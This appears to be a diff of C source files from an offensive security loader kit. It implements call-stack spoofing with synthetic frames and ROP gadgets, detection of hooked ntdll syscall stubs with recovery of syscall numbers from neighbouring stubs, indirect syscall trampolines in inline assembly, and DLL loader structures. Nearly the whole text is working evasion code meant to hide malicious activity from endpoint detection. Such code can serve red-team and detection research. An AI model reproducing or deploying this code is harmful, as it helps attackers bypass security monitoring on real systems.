|
||||||
|
FRAME_INFO Frame2;
|
||||||
|
PVOID Gadget;
|
||||||
|
} SYNTHETIC_STACK_FRAME;
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
FUNCTION_CALL *FunctionCall;
|
||||||
|
PVOID StackFrame;
|
||||||
|
PVOID SpoofCall;
|
||||||
|
} DRAUGR_FUNCTION_CALL;
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
PVOID Fixup;
|
||||||
|
PVOID OriginalReturnAddress;
|
||||||
|
PVOID Rbx;
|
||||||
|
PVOID Rdi;
|
||||||
|
PVOID BaseThreadInitThunkStackSize;
|
||||||
|
PVOID BaseThreadInitThunkReturnAddress;
|
||||||
|
PVOID TrampolineStackSize;
|
||||||
|
PVOID RtlUserThreadStartStackSize;
|
||||||
|
PVOID RtlUserThreadStartReturnAddress;
|
||||||
|
PVOID Ssn;
|
||||||
|
PVOID Trampoline;
|
||||||
|
PVOID Rsi;
|
||||||
|
PVOID R12;
|
||||||
|
PVOID R13;
|
||||||
|
PVOID R14;
|
||||||
|
PVOID R15;
|
||||||
|
} DRAUGR_PARAMETERS;
|
||||||
|
|
||||||
|
extern PVOID draugr_stub(PVOID, PVOID, PVOID, PVOID, DRAUGR_PARAMETERS *, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID);
|
||||||
|
|
||||||
|
#define draugr_arg(i) (ULONG_PTR)(call->args[i])
|
||||||
|
|
||||||
|
void init_frame_info(SYNTHETIC_STACK_FRAME *frame)
|
||||||
|
{
|
||||||
|
PVOID frame1_module = KERNEL32$GetModuleHandleA("kernel32.dll");
|
||||||
|
PVOID frame2_module = KERNEL32$GetModuleHandleA("ntdll.dll");
|
||||||
|
|
||||||
|
frame->Frame1.ModuleAddress = frame1_module;
|
||||||
|
frame->Frame1.FunctionAddress = (PVOID)GetProcAddress((HMODULE)frame1_module, "BaseThreadInitThunk");
|
||||||
|
frame->Frame1.Offset = 0x17;
|
||||||
|
|
||||||
|
frame->Frame2.ModuleAddress = frame2_module;
|
||||||
|
frame->Frame2.FunctionAddress = (PVOID)GetProcAddress((HMODULE)frame2_module, "RtlUserThreadStart");
|
||||||
|
frame->Frame2.Offset = 0x2c;
|
||||||
|
|
||||||
|
frame->Gadget = KERNEL32$GetModuleHandleA("KernelBase.dll");
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL get_text_section_size(PVOID module, PDWORD virtual_address, PDWORD size)
|
||||||
|
{
|
||||||
|
IMAGE_DOS_HEADER *dos_header = (IMAGE_DOS_HEADER *)(module);
|
||||||
|
|
||||||
|
if (dos_header->e_magic != IMAGE_DOS_SIGNATURE)
|
||||||
|
{
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
IMAGE_NT_HEADERS *nt_headers = (IMAGE_NT_HEADERS *)((UINT_PTR)module + dos_header->e_lfanew);
|
||||||
|
|
||||||
|
if (nt_headers->Signature != IMAGE_NT_SIGNATURE)
|
||||||
|
{
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
IMAGE_SECTION_HEADER *section_header = IMAGE_FIRST_SECTION(nt_headers);
|
||||||
|
|
||||||
|
for (int i = 0; i < nt_headers->FileHeader.NumberOfSections; i++)
|
||||||
|
{
|
||||||
|
DWORD h = ror13hash((char *)section_header[i].Name);
|
||||||
|
|
||||||
|
if (h == TEXT_HASH)
|
||||||
|
{
|
||||||
|
*virtual_address = section_header[i].VirtualAddress;
|
||||||
|
*size = section_header[i].SizeOfRawData;
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
PVOID calculate_function_stack_size(RUNTIME_FUNCTION *runtime_function, const DWORD64 image_base)
|
||||||
|
{
|
||||||
|
UNWIND_INFO *unwind_info = NULL;
|
||||||
|
ULONG unwind_operation = 0;
|
||||||
|
ULONG operation_info = 0;
|
||||||
|
ULONG index = 0;
|
||||||
|
ULONG frame_offset = 0;
|
||||||
|
|
||||||
|
STACK_FRAME stack_frame = {0};
|
||||||
|
|
||||||
|
if (!runtime_function)
|
||||||
|
{
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
unwind_info = (UNWIND_INFO *)(runtime_function->UnwindData + image_base);
|
||||||
|
|
||||||
|
while (index < unwind_info->CountOfCodes)
|
||||||
|
{
|
||||||
|
unwind_operation = unwind_info->UnwindCode[index].UnwindOp;
|
||||||
|
operation_info = unwind_info->UnwindCode[index].OpInfo;
|
||||||
|
|
||||||
|
/* don't use switch as it produces jump tables */
|
||||||
|
if (unwind_operation == UWOP_PUSH_NONVOL)
|
||||||
|
{
|
||||||
|
stack_frame.TotalStackSize += 8;
|
||||||
|
|
||||||
|
if (operation_info == RBP_OP_INFO)
|
||||||
|
{
|
||||||
|
stack_frame.PushRbp = TRUE;
|
||||||
|
stack_frame.CountOfCodes = unwind_info->CountOfCodes;
|
||||||
|
stack_frame.PushRbpIndex = index + 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (unwind_operation == UWOP_SAVE_NONVOL)
|
||||||
|
{
|
||||||
|
index += 1;
|
||||||
|
}
|
||||||
|
else if (unwind_operation == UWOP_ALLOC_SMALL)
|
||||||
|
{
|
||||||
|
stack_frame.TotalStackSize += ((operation_info * 8) + 8);
|
||||||
|
}
|
||||||
|
else if (unwind_operation == UWOP_ALLOC_LARGE)
|
||||||
|
{
|
||||||
|
index += 1;
|
||||||
|
frame_offset = unwind_info->UnwindCode[index].FrameOffset;
|
||||||
|
|
||||||
|
if (operation_info == 0)
|
||||||
|
{
|
||||||
|
frame_offset *= 8;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
index += 1;
|
||||||
|
frame_offset += (unwind_info->UnwindCode[index].FrameOffset << 16);
|
||||||
|
}
|
||||||
|
|
||||||
|
stack_frame.TotalStackSize += frame_offset;
|
||||||
|
}
|
||||||
|
else if (unwind_operation == UWOP_SET_FPREG)
|
||||||
|
{
|
||||||
|
stack_frame.SetsFramePointer = TRUE;
|
||||||
|
}
|
||||||
|
else if (unwind_operation == UWOP_SAVE_XMM128)
|
||||||
|
{
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
index += 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (0 != (unwind_info->Flags & UNW_FLAG_CHAININFO))
|
||||||
|
{
|
||||||
|
index = unwind_info->CountOfCodes;
|
||||||
|
|
||||||
|
if (0 != (index & 1))
|
||||||
|
{
|
||||||
|
index += 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
runtime_function = (RUNTIME_FUNCTION *)(&unwind_info->UnwindCode[index]);
|
||||||
|
return calculate_function_stack_size(runtime_function, image_base);
|
||||||
|
}
|
||||||
|
|
||||||
|
stack_frame.TotalStackSize += 8;
|
||||||
|
return (PVOID)(stack_frame.TotalStackSize);
|
||||||
|
}
|
||||||
|
|
||||||
|
PVOID calculate_function_stack_size_wrapper(PVOID return_address)
|
||||||
|
{
|
||||||
|
RUNTIME_FUNCTION *runtime_function = NULL;
|
||||||
|
DWORD64 image_base = 0;
|
||||||
|
PUNWIND_HISTORY_TABLE history_table = NULL;
|
||||||
|
|
||||||
|
if (!return_address)
|
||||||
|
{
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
runtime_function = KERNEL32$RtlLookupFunctionEntry((DWORD64)return_address, &image_base, history_table);
|
||||||
|
|
||||||
|
if (NULL == runtime_function)
|
||||||
|
{
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
return calculate_function_stack_size(runtime_function, image_base);
|
||||||
|
}
|
||||||
|
|
||||||
|
PVOID find_gadget(PVOID module)
|
||||||
|
{
|
||||||
|
BOOL found_gadgets = FALSE;
|
||||||
|
DWORD text_section_size = 0;
|
||||||
|
DWORD text_section_va = 0;
|
||||||
|
DWORD counter = 0;
|
||||||
|
ULONG seed = 0;
|
||||||
|
ULONG random = 0;
|
||||||
|
PVOID module_text_section = NULL;
|
||||||
|
|
||||||
|
PVOID gadget_list[15] = {0};
|
||||||
|
|
||||||
|
if (!found_gadgets)
|
||||||
|
{
|
||||||
|
if (!get_text_section_size(module, &text_section_va, &text_section_size))
|
||||||
|
{
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
module_text_section = (PBYTE)((UINT_PTR)module + text_section_va);
|
||||||
|
|
||||||
|
for (int i = 0; i < (int)(text_section_size - 2); i++)
|
||||||
|
{
|
||||||
|
/* x64 opcodes are ff 23 */
|
||||||
|
if (((PBYTE)module_text_section)[i] == 0xFF && ((PBYTE)module_text_section)[i + 1] == 0x23)
|
||||||
|
{
|
||||||
|
gadget_list[counter] = (PVOID)((UINT_PTR)module_text_section + i);
|
||||||
|
counter++;
|
||||||
|
|
||||||
|
if (counter == 15)
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
found_gadgets = TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
seed = 0x1337;
|
||||||
|
random = NTDLL$RtlRandomEx(&seed);
|
||||||
|
random %= counter;
|
||||||
|
|
||||||
|
return gadget_list[random];
|
||||||
|
}
|
||||||
|
|
||||||
|
ULONG_PTR draugr_wrapper(PVOID function, DWORD ssn, PVOID arg1, PVOID arg2, PVOID arg3, PVOID arg4, PVOID arg5, PVOID arg6, PVOID arg7, PVOID arg8, PVOID arg9, PVOID arg10, PVOID arg11, PVOID arg12)
|
||||||
|
{
|
||||||
|
int attempts = 0;
|
||||||
|
PVOID return_address = NULL;
|
||||||
|
|
||||||
|
DRAUGR_PARAMETERS draugr_params = {0};
|
||||||
|
|
||||||
|
if (ssn)
|
||||||
|
{
|
||||||
|
draugr_params.Ssn = (PVOID)(ULONG_PTR)ssn;
|
||||||
|
}
|
||||||
|
|
||||||
|
SYNTHETIC_STACK_FRAME frame;
|
||||||
|
init_frame_info(&frame);
|
||||||
|
|
||||||
|
return_address = (PVOID)((UINT_PTR)frame.Frame1.FunctionAddress + frame.Frame1.Offset);
|
||||||
|
draugr_params.BaseThreadInitThunkStackSize = calculate_function_stack_size_wrapper(return_address);
|
||||||
|
draugr_params.BaseThreadInitThunkReturnAddress = return_address;
|
||||||
|
|
||||||
|
if (!draugr_params.BaseThreadInitThunkStackSize || !draugr_params.BaseThreadInitThunkReturnAddress)
|
||||||
|
{
|
||||||
|
return (ULONG_PTR)(NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
return_address = (PVOID)((UINT_PTR)frame.Frame2.FunctionAddress + frame.Frame2.Offset);
|
||||||
|
draugr_params.RtlUserThreadStartStackSize = calculate_function_stack_size_wrapper(return_address);
|
||||||
|
draugr_params.RtlUserThreadStartReturnAddress = return_address;
|
||||||
|
|
||||||
|
if (!draugr_params.RtlUserThreadStartStackSize || !draugr_params.RtlUserThreadStartReturnAddress)
|
||||||
|
{
|
||||||
|
return (ULONG_PTR)(NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
draugr_params.Trampoline = find_gadget(frame.Gadget);
|
||||||
|
draugr_params.TrampolineStackSize = calculate_function_stack_size_wrapper(draugr_params.Trampoline);
|
||||||
|
|
||||||
|
attempts++;
|
||||||
|
|
||||||
|
if (attempts > 15)
|
||||||
|
{
|
||||||
|
return (ULONG_PTR)(NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
} while (draugr_params.TrampolineStackSize == NULL || ((__int64)draugr_params.TrampolineStackSize < 0x80));
|
||||||
|
|
||||||
|
if (!draugr_params.Trampoline || !draugr_params.TrampolineStackSize)
|
||||||
|
{
|
||||||
|
return (ULONG_PTR)(NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
return (ULONG_PTR)draugr_stub(arg1, arg2, arg3, arg4, &draugr_params, function, 8, arg5, arg6, arg7, arg8, arg9, arg10, arg11, arg12);
|
||||||
|
}
|
||||||
|
|
||||||
|
ULONG_PTR spoof_call(FUNCTION_CALL *call)
|
||||||
|
{
|
||||||
|
/* very inelegant */
|
||||||
|
if (call->argc == 0)
|
||||||
|
{
|
||||||
|
return draugr_wrapper(call->ptr, call->ssn, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||||
|
}
|
||||||
|
else if (call->argc == 1)
|
||||||
|
{
|
||||||
|
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||||
|
}
|
||||||
|
else if (call->argc == 2)
|
||||||
|
{
|
||||||
|
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), (PVOID)draugr_arg(1), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||||
|
}
|
||||||
|
else if (call->argc == 3)
|
||||||
|
{
|
||||||
|
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), (PVOID)draugr_arg(1), (PVOID)draugr_arg(2), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||||
|
}
|
||||||
|
else if (call->argc == 4)
|
||||||
|
{
|
||||||
|
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), (PVOID)draugr_arg(1), (PVOID)draugr_arg(2), (PVOID)draugr_arg(3), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||||
|
}
|
||||||
|
else if (call->argc == 5)
|
||||||
|
{
|
||||||
|
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), (PVOID)draugr_arg(1), (PVOID)draugr_arg(2), (PVOID)draugr_arg(3), (PVOID)draugr_arg(4), NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||||
|
}
|
||||||
|
else if (call->argc == 6)
|
||||||
|
{
|
||||||
|
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), (PVOID)draugr_arg(1), (PVOID)draugr_arg(2), (PVOID)draugr_arg(3), (PVOID)draugr_arg(4), (PVOID)draugr_arg(5), NULL, NULL, NULL, NULL, NULL, NULL);
|
||||||
|
}
|
||||||
|
else if (call->argc == 7)
|
||||||
|
{
|
||||||
|
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), (PVOID)draugr_arg(1), (PVOID)draugr_arg(2), (PVOID)draugr_arg(3), (PVOID)draugr_arg(4), (PVOID)draugr_arg(5), (PVOID)draugr_arg(6), NULL, NULL, NULL, NULL, NULL);
|
||||||
|
}
|
||||||
|
else if (call->argc == 8)
|
||||||
|
{
|
||||||
|
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), (PVOID)draugr_arg(1), (PVOID)draugr_arg(2), (PVOID)draugr_arg(3), (PVOID)draugr_arg(4), (PVOID)draugr_arg(5), (PVOID)draugr_arg(6), (PVOID)draugr_arg(7), NULL, NULL, NULL, NULL);
|
||||||
|
}
|
||||||
|
else if (call->argc == 9)
|
||||||
|
{
|
||||||
|
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), (PVOID)draugr_arg(1), (PVOID)draugr_arg(2), (PVOID)draugr_arg(3), (PVOID)draugr_arg(4), (PVOID)draugr_arg(5), (PVOID)draugr_arg(6), (PVOID)draugr_arg(7), (PVOID)draugr_arg(8), NULL, NULL, NULL);
|
||||||
|
}
|
||||||
|
else if (call->argc == 10)
|
||||||
|
{
|
||||||
|
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), (PVOID)draugr_arg(1), (PVOID)draugr_arg(2), (PVOID)draugr_arg(3), (PVOID)draugr_arg(4), (PVOID)draugr_arg(5), (PVOID)draugr_arg(6), (PVOID)draugr_arg(7), (PVOID)draugr_arg(8), (PVOID)draugr_arg(9), NULL, NULL);
|
||||||
|
}
|
||||||
|
else if (call->argc == 11)
|
||||||
|
{
|
||||||
|
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), (PVOID)draugr_arg(1), (PVOID)draugr_arg(2), (PVOID)draugr_arg(3), (PVOID)draugr_arg(4), (PVOID)draugr_arg(5), (PVOID)draugr_arg(6), (PVOID)draugr_arg(7), (PVOID)draugr_arg(8), (PVOID)draugr_arg(9), (PVOID)draugr_arg(10), NULL);
|
||||||
|
}
|
||||||
|
else if (call->argc == 12)
|
||||||
|
{
|
||||||
|
return draugr_wrapper(call->ptr, call->ssn, (PVOID)draugr_arg(0), (PVOID)draugr_arg(1), (PVOID)draugr_arg(2), (PVOID)draugr_arg(3), (PVOID)draugr_arg(4), (PVOID)draugr_arg(5), (PVOID)draugr_arg(6), (PVOID)draugr_arg(7), (PVOID)draugr_arg(8), (PVOID)draugr_arg(9), (PVOID)draugr_arg(10), (PVOID)draugr_arg(11));
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
return (ULONG_PTR)(NULL);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <windows.h>
|
||||||
|
#include "utils/debug.h"
|
||||||
|
|
||||||
|
#define spoof_arg(x) ( ULONG_PTR ) ( x )
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
PVOID ptr;
|
||||||
|
DWORD ssn;
|
||||||
|
int argc;
|
||||||
|
ULONG_PTR args[10];
|
||||||
|
} FUNCTION_CALL;
|
||||||
|
|
||||||
|
ULONG_PTR spoof_call ( FUNCTION_CALL * call );
|
||||||
@@ -0,0 +1,148 @@
|
|||||||
|
#include "syscalls.h"
|
||||||
|
|
||||||
|
#define SYS_STUB_SIZE 32
|
||||||
|
#define UP -SYS_STUB_SIZE
|
||||||
|
#define DOWN SYS_STUB_SIZE
|
||||||
|
|
||||||
|
BOOL GetSyscall(PVOID ntdll, PVOID func, SYSCALL_GATE *gate)
|
||||||
|
{
|
||||||
|
PIMAGE_DOS_HEADER pDosHdr = NULL;
|
||||||
|
PIMAGE_NT_HEADERS pNtHdrs = NULL;
|
||||||
|
PIMAGE_EXPORT_DIRECTORY pExportDir = NULL;
|
||||||
|
|
||||||
|
DWORD dwSyscallNr = 0;
|
||||||
|
PVOID pIndirect = NULL;
|
||||||
|
|
||||||
|
PDWORD pdwAddrOfFunctions = NULL;
|
||||||
|
PWORD pwAddrOfNameOrdinals = NULL;
|
||||||
|
|
||||||
|
WORD wIdxStub = 0;
|
||||||
|
WORD wIdxfName = 0;
|
||||||
|
BOOL bHooked = FALSE;
|
||||||
|
|
||||||
|
pDosHdr = (PIMAGE_DOS_HEADER)ntdll;
|
||||||
|
pNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)ntdll + pDosHdr->e_lfanew);
|
||||||
|
pExportDir = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)ntdll + pNtHdrs->OptionalHeader.DataDirectory[0].VirtualAddress);
|
||||||
|
|
||||||
|
pdwAddrOfFunctions = (PDWORD)((PBYTE)ntdll + pExportDir->AddressOfFunctions);
|
||||||
|
pwAddrOfNameOrdinals = (PWORD)((PBYTE)ntdll + pExportDir->AddressOfNameOrdinals);
|
||||||
|
|
||||||
|
for (wIdxStub = 0; wIdxStub < SYS_STUB_SIZE; wIdxStub++)
|
||||||
|
{
|
||||||
|
if (*((PBYTE)func + wIdxStub) == 0xe9)
|
||||||
|
{
|
||||||
|
bHooked = TRUE;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (*((PBYTE)func + wIdxStub) == 0xc3)
|
||||||
|
return FALSE;
|
||||||
|
|
||||||
|
if (*((PBYTE)func + wIdxStub) == 0x4c &&
|
||||||
|
*((PBYTE)func + wIdxStub + 1) == 0x8b &&
|
||||||
|
*((PBYTE)func + wIdxStub + 2) == 0xd1 &&
|
||||||
|
*((PBYTE)func + wIdxStub + 3) == 0xb8 &&
|
||||||
|
*((PBYTE)func + wIdxStub + 6) == 0x00 &&
|
||||||
|
*((PBYTE)func + wIdxStub + 7) == 0x00)
|
||||||
|
{
|
||||||
|
|
||||||
|
BYTE low = *((PBYTE)func + 4 + wIdxStub);
|
||||||
|
BYTE high = *((PBYTE)func + 5 + wIdxStub);
|
||||||
|
|
||||||
|
dwSyscallNr = (high << 8) | low;
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (bHooked)
|
||||||
|
{
|
||||||
|
for (wIdxfName = 1; wIdxfName <= pExportDir->NumberOfFunctions; wIdxfName++)
|
||||||
|
{
|
||||||
|
if ((PBYTE)func + wIdxfName * DOWN < ((PBYTE)ntdll + pdwAddrOfFunctions[pwAddrOfNameOrdinals[pExportDir->NumberOfFunctions - 1]]))
|
||||||
|
{
|
||||||
|
if (*((PBYTE)func + wIdxfName * DOWN) == 0x4c &&
|
||||||
|
*((PBYTE)func + 1 + wIdxfName * DOWN) == 0x8b &&
|
||||||
|
*((PBYTE)func + 2 + wIdxfName * DOWN) == 0xd1 &&
|
||||||
|
*((PBYTE)func + 3 + wIdxfName * DOWN) == 0xb8 &&
|
||||||
|
*((PBYTE)func + 6 + wIdxfName * DOWN) == 0x00 &&
|
||||||
|
*((PBYTE)func + 7 + wIdxfName * DOWN) == 0x00)
|
||||||
|
{
|
||||||
|
|
||||||
|
BYTE high = *((PBYTE)func + 5 + wIdxfName * DOWN);
|
||||||
|
BYTE low = *((PBYTE)func + 4 + wIdxfName * DOWN);
|
||||||
|
|
||||||
|
dwSyscallNr = (high << 8) | (low - wIdxfName);
|
||||||
|
func = (PVOID)((PBYTE)func + wIdxfName * DOWN);
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if ((PBYTE)func + wIdxfName * UP > ((PBYTE)ntdll + pdwAddrOfFunctions[pwAddrOfNameOrdinals[0]]))
|
||||||
|
{
|
||||||
|
|
||||||
|
if (*((PBYTE)func + wIdxfName * UP) == 0x4c &&
|
||||||
|
*((PBYTE)func + 1 + wIdxfName * UP) == 0x8b &&
|
||||||
|
*((PBYTE)func + 2 + wIdxfName * UP) == 0xd1 &&
|
||||||
|
*((PBYTE)func + 3 + wIdxfName * UP) == 0xb8 &&
|
||||||
|
*((PBYTE)func + 6 + wIdxfName * UP) == 0x00 &&
|
||||||
|
*((PBYTE)func + 7 + wIdxfName * UP) == 0x00)
|
||||||
|
{
|
||||||
|
|
||||||
|
BYTE high = *((PBYTE)func + 5 + wIdxfName * UP);
|
||||||
|
BYTE low = *((PBYTE)func + 4 + wIdxfName * UP);
|
||||||
|
|
||||||
|
dwSyscallNr = (high << 8) | (low + wIdxfName);
|
||||||
|
func = (PVOID)((PBYTE)func + wIdxfName * UP);
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (func && dwSyscallNr)
|
||||||
|
{
|
||||||
|
for (wIdxStub = 0; wIdxStub < SYS_STUB_SIZE; wIdxStub++)
|
||||||
|
{
|
||||||
|
if (*((PBYTE)func + wIdxStub) == 0x0f &&
|
||||||
|
*((PBYTE)func + wIdxStub + 1) == 0x05 &&
|
||||||
|
*((PBYTE)func + wIdxStub + 2) == 0xc3)
|
||||||
|
{
|
||||||
|
pIndirect = (LPVOID)((PBYTE)func + wIdxStub);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* set values */
|
||||||
|
gate->ssn = dwSyscallNr;
|
||||||
|
gate->jmpAddr = pIndirect;
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
void __attribute__((naked)) PrepareSyscall(DWORD ssn __attribute__((unused)), PVOID addr __attribute__((unused)))
|
||||||
|
{
|
||||||
|
__asm__ __volatile__(
|
||||||
|
".intel_syntax noprefix;"
|
||||||
|
"xor r11, r11;"
|
||||||
|
"xor r10, r10;"
|
||||||
|
"mov r11, rcx;"
|
||||||
|
"mov r10, rdx;"
|
||||||
|
"ret;"
|
||||||
|
".att_syntax prefix");
|
||||||
|
}
|
||||||
|
|
||||||
|
void __attribute__((naked)) DoSyscall()
|
||||||
|
{
|
||||||
|
__asm__ __volatile__(
|
||||||
|
".intel_syntax noprefix;"
|
||||||
|
"push r10;"
|
||||||
|
"xor rax, rax;"
|
||||||
|
"mov r10, rcx;"
|
||||||
|
"mov eax, r11d;"
|
||||||
|
"ret;"
|
||||||
|
".att_syntax prefix");
|
||||||
|
}
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <windows.h>
|
||||||
|
#include "utils/debug.h"
|
||||||
|
|
||||||
|
// NT API Status
|
||||||
|
|
||||||
|
#ifndef NT_SUCCESS
|
||||||
|
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// Structs
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
DWORD ssn;
|
||||||
|
PVOID jmpAddr;
|
||||||
|
} SYSCALL_GATE;
|
||||||
|
|
||||||
|
// Functions
|
||||||
|
|
||||||
|
BOOL GetSyscall(PVOID ntdll, PVOID func, SYSCALL_GATE *gate);
|
||||||
|
void PrepareSyscall(DWORD ssn, PVOID addr);
|
||||||
|
void DoSyscall();
|
||||||
@@ -0,0 +1,31 @@
|
|||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#ifndef _MEMORY_LAYOUT
|
||||||
|
#define _MEMORY_LAYOUT
|
||||||
|
|
||||||
|
#define MAX_SECTIONS 16
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
PVOID BaseAddress;
|
||||||
|
SIZE_T Size;
|
||||||
|
DWORD CurrentProtect;
|
||||||
|
DWORD PreviousProtect;
|
||||||
|
} MEMORY_SECTION;
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
PVOID BaseAddress;
|
||||||
|
SIZE_T Size;
|
||||||
|
MEMORY_SECTION Sections[MAX_SECTIONS];
|
||||||
|
SIZE_T Count;
|
||||||
|
} DLL_MEMORY;
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
DLL_MEMORY Dll;
|
||||||
|
} MEMORY_LAYOUT;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,102 @@
|
|||||||
|
/*
|
||||||
|
* Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without modification, are
|
||||||
|
* permitted provided that the following conditions are met:
|
||||||
|
*
|
||||||
|
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||||
|
* conditions and the following disclaimer.
|
||||||
|
*
|
||||||
|
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||||
|
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||||
|
* with the distribution.
|
||||||
|
*
|
||||||
|
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||||
|
* endorse or promote products derived from this software without specific prior written
|
||||||
|
* permission.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
|
||||||
|
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||||
|
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||||
|
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||||
|
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||||
|
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||||
|
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||||
|
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||||
|
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
// used by both the Pico Loader and DLL loader
|
||||||
|
typedef struct {
|
||||||
|
__typeof__(LoadLibraryA) * LoadLibraryA;
|
||||||
|
__typeof__(GetProcAddress) * GetProcAddress;
|
||||||
|
} IMPORTFUNCS;
|
||||||
|
|
||||||
|
// linker intrinsic to map a function hash to a hook registered via Crystal Palace
|
||||||
|
FARPROC __resolve_hook(DWORD funcHash);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Structs used by our DLL loader
|
||||||
|
*/
|
||||||
|
|
||||||
|
#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) )
|
||||||
|
#define DEREF( name )*(UINT_PTR *)(name)
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
IMAGE_DOS_HEADER * DosHeader;
|
||||||
|
IMAGE_NT_HEADERS * NtHeaders;
|
||||||
|
IMAGE_OPTIONAL_HEADER * OptionalHeader;
|
||||||
|
} DLLDATA;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* utility functions
|
||||||
|
*/
|
||||||
|
DWORD adler32sum(unsigned char * buffer, DWORD length);
|
